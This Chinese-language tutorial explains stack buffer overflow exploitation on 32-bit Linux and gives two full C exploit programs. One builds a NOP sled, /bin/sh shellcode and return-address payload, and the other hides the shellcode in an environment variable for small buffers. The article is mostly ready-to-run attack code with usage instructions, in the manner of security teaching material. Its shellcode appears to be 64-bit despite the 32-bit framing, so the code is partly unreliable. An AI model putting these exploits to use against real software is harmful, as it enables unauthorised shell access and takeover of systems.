一、 緩沖區足夠大的情形
下面的代碼是網上眾多緩沖區溢出攻擊代碼的一個變種,它可以進行很多場合下的漏洞攻擊。
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
char shellcode[] = /* shellcode exec /bin/sh */
"\xeb\x2b\x59\x55\x48\x89\xe5\x48"
"\x83\xec\x20\x48\x89\x4d\xf0\x48"
"\xc7\x45\xf8\x00\x00\x00\x00\xba"
"\x00\x00\x00\x00\x48\x8d\x75\xf0"
"\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
"\x00\x00\x00\x0f\x05\xe8\xd0\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long get_sp(void) {
__asm__("movl %esp, %eax"); /* return rsp */
}
int main(int argc, char *argv[])
{
int i, offset = 0;
unsigned long sp, ret, *addr_ptr;
char *prg, *prgpath, *buffer, *ptr;
int size = 500; /* default buffer size */
sp = get_sp(); /* local sp value */
if(argc > 1)
prg = argv[1]; /* app name be exploited */
if(argc > 2)
prgpath = argv[2]; /* app path be exploited */
if(argc > 3)
size = atoi(argv[3]);
if(argc > 4)
offset = atoi(argv[4]);
if(argc > 5)
sp = strtoul(argv[5], NULL, 0); /* input sp for remote exploits */
ret = sp - offset;
buffer = (char *)malloc(size);
ptr = buffer;
addr_ptr = (unsigned long *) ptr;
/* fill entire buffer with return addresses, ensures proper alignment */
for(i=0; i < size; i+=4) {
*(addr_ptr++) = ret;
}
/* fill 1st half of exploit buffer with NOPs */
for(i=0; i < size/2; i++) {
buffer[i] = '\x90';
}
/* place shellcode. start at the middle of the buffer */
ptr = buffer + size/2;
for(i=0; i < strlen(shellcode); i++) {
*(ptr++) = shellcode[i];
}
buffer[size-1] = '\0';
execl(prgpath, prg, buffer, (char*) 0);
free(buffer);
return 0;
}
上面這段代碼主要作用是取代手工注入,代碼運行基于32位的linux系統,buffer size預設為500字節,建設緩沖區不要少于500byte, 如果太小了就會裝不下shellcode。
代碼的參數1是將要攻擊的程序的路徑,參數2是將要攻擊的程序的程序名稱,參數3是緩沖區大小,參數4是調整地址對齊的偏移地址,參數5用于手工輸入esp(這是緩沖區存儲的地址范圍)。
這段代碼的注入模式是:NOPs+Shellcode+addr。
先用NOPs填充緩沖區開頭的一半空間,這樣更方便控制EIP(cpu指令指針),即使addr是一個大概的地址,也能成功的通過NOPs滑動至達shellcode的地址。
后面用addr填充就是確保能夠覆蓋保存的返回地址, 其中地址的對齊方式是4字節,可以通過程序的argv參數去控制offset偏移,精準的覆蓋返回地址的前題是要正確對齊地址。
二、 緩沖區很小的情況
如果緩沖區只有10來個字節,不夠安放shecode時,可以用環境變量的方法用存放shellcode,下面的代碼用來實施小緩沖區漏洞攻擊。
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#define SIZE 128
char shellcode[] = /* shellcode exec /bin/sh */
"\xeb\x2b\x59\x55\x48\x89\xe5\x48"
"\x83\xec\x20\x48\x89\x4d\xf0\x48"
"\xc7\x45\xf8\x00\x00\x00\x00\xba"
"\x00\x00\x00\x00\x48\x8d\x75\xf0"
"\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
"\x00\x00\x00\x0f\x05\xe8\xd0\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main(int argc, char *argv[])
{
char *prg, *prgpath, p[SIZE];
int *ptr, i, addr, offset = 0;
char *env[] = {shellcode, NULL};
if(argc > 1)
prg = argv[1]; /* app name be exploited */
if(argc > 2)
prgpath = argv[2]; /* app path be exploited */
if(argc > 3)
offset = atoi(argv[3]); /* app path be exploited */
addr = 0xbffffffa - strlen(shellcode) - strlen(prg); /* calculate the exact location of the shellcode*/
ptr = (int *) (p + offset); /*fill buffer with computed address, start offset bytes into array for stack alignment*/
for(i = 0; i < SIZE; i+=4) {
*ptr++ = addr;
}
execle(prgpath, prg, p, NULL, env);
exit(1);
}
上面的代碼涉及一個地址計算公式,這個公式是由Murat Balaban發現的, 這依賴于以下事實:即所有Linux ELF文件在映射到內存中時會將最后的相對地址設為0xbfffffff。參考linux程序運行內存布局可知,環境變量和參數就是存儲在這個區域的。
這個公式是:
shellcode = 0xbfffffff - 0x4 - length(program name) - length(shellcode)
以下是示意圖,基于linux的32位系統:
示意圖
參考文章:
- Gray Hat Hacking, The Ethical Hacker's Handbook
- Computer Systems